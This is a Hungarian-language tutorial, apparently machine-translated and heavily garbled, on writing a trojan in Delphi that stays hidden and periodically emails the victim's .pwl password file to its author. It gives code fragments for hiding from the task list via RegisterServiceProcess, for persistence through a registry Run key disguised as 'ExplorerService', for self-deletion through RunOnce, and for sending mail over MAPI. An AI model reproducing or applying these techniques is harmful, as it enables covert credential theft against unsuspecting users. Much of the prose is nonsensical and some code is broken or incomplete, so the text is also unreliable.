Írj egy trójai!

Írj egy trójai!

Trójaiak, trójaiak, trójaiak. írjuk, valójában nagyon egyszerű, ha természetesen pontosan tudja, mit kell írni :-). Ezért először kell fejleszteni a koncepció, program, terv, amely szerint fog működni a trójaiak és az egyetlen, aki használni :-). Írjunk egy egyszerű troyanchik amely érintkezik a számítógép letétbe baggla (skót folklór - ez a kis lény, hogy segítsen egy ember a házban, hogy van valami, mint a mi házak), és például minden hónapban rendszeresen küld emylnoy mail felhasználói fájlt dat. (Végrehajtás% user% .pwl bízom az olvasó -, hogy remake / kidolgozás könnyű lesz). Hogy pontos legyek, és mi békességünk, aki csendesen visszavonul a autóbalesetben Az LMD, mondjuk, egy pár hónapos munka (azaz két vagy három „mail listservs”) :-).

Felírom Delphi, hiszen gyakorlatilag a legegyszerűbb és leginkább érthető nyelven a kezdő kódoló. És egy egyszerű ember, aki kellő tapasztalattal rendelkezik a számítógép, itt minden nagyon átlátszó a megértést.

Összehúzódások, delírium, eszméletvesztés

Az első dolog. Nem, nem sík :-). Az első lépés az, hogy leszegez összes ablak újonnan létrehozott (a File | New Application) projekt Delphi, tedd beleértve a fő formája. A projekt nem kell feltenni :-). Hogy mi marad, akkor piszkálni „a szürke lényeket hosszú farok” a Nézet | Project Source. Körülbelül ez a következőképpen néz ki:


Minden, ami vonatkozik a bejelentés, akkor eltávolíthatja - trójaiak kell csendes, így mindenféle pop-up ablakok és a tálca gombjai nem szükséges. Meg kell távolítani még a sort, hogy ne húzza a felesleges ikonokat és más Labuda, így nehéz lógni Delphi. Forms is törlésre kerül, mivel a formák nincs :-). De meg kell csatlakozni egy pár más modulok, amelyek ténylegesen részt (!):

Windows // itt leírni szinte az összes dokumentált jelentések és

// függvénykönyvtárába Vindovz

Registry, // ez a modul, hogy működjön együtt a rendszerleíró adatbázis

MAPI // és ez -, hogy küldeni és fogadni e-maileket

// és nem csak. De mi csak küld ;-)

SysUtils; // támogatása könyvtár - hasznos funkciók

// string és a dátum / idő.

Mielőtt folytassa a létrehozását levelezési :-), hogy megbizonyosodjon arról, hogy minden rendben lesz teljesen láthatatlan. Természetesen a villogó fények a modem nem elrejteni, de minden más nélkül meg lehet forgatni a zaj és a por. A panel trójai problémák nem gyullad ki, mert nem egy fő ablakban, és ennek megfelelően nincs hely, hogy váltani a fókuszt. De a ctrl + alt + del, azaz a lista az összes olyan feladatot fog ragyogni - és hogyan! De ez a probléma egyszerűen megoldható - elég mintha ártatlan skrinsaverom hogy Vindovz nem mutatta ezen a listán. Ehhez használja a speciális funkciót RegisterServiceProcess. Sajnos, ez a funkció nem a szabványban leírt modulok Delphi, így van, hogy írja le, hogy a saját, és hozzon létre egy megfelelő eljárás hívás:

eljárás RegisterServiceProcess; külső 'kernel32.dll' name 'RegisterServiceProcess';

eljárás elrejtése; szerelő;


Kijöttem. Élő. A leadott szavazatok.

Az általunk használt tárgy TRegistry erre a célra:

ha OpenKey (SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run ", True), akkor

ha Str <> ParamStr (0), majd WriteString ( 'ExplorerService', ParamStr (0));

Ezen túlmenően, írunk és DateResolve DateExpiration - az az időpont, amely után meg kell csökkenteni csak szögezték a hasított előtte. De hogyan kell csinálni, ha nem vindovz hozzáférést (törölni vagy írás) a fájl, amelyből a futás? Akkor nagyban torzulhat különböző paraméterekkel, vagy hozzon létre BATniki, de ebben az esetben sokkal könnyebb megtenni:
ha Xapakipi majd

WriteString ( 'LMD', 'del „' + ParamStr (0) + '' ');


Ez csak, hogy az eltávolítása a saját fájlt a RunOnce - sor után automatikusan törlődnek a rendszer. És mégis - a felhasználó nem is tudja soha, valamilyen oknál fogva megfordult egy pár órát Ineta kevesebb, mint a normál.

Ahhoz, hogy ismét nem világít (a felhasználó smart :-P már elment), akkor gyorsan ez egy nap, ha nem kell küldeni semmit:


ha nem küldése, majd a Kilépés;

ha MAPILogon (0, nulla, nulla, 0, 0, @Handle) = 0, akkor

lpszNoteText: = „üzenetek küldését. bejelentési rendszer v.01 | „;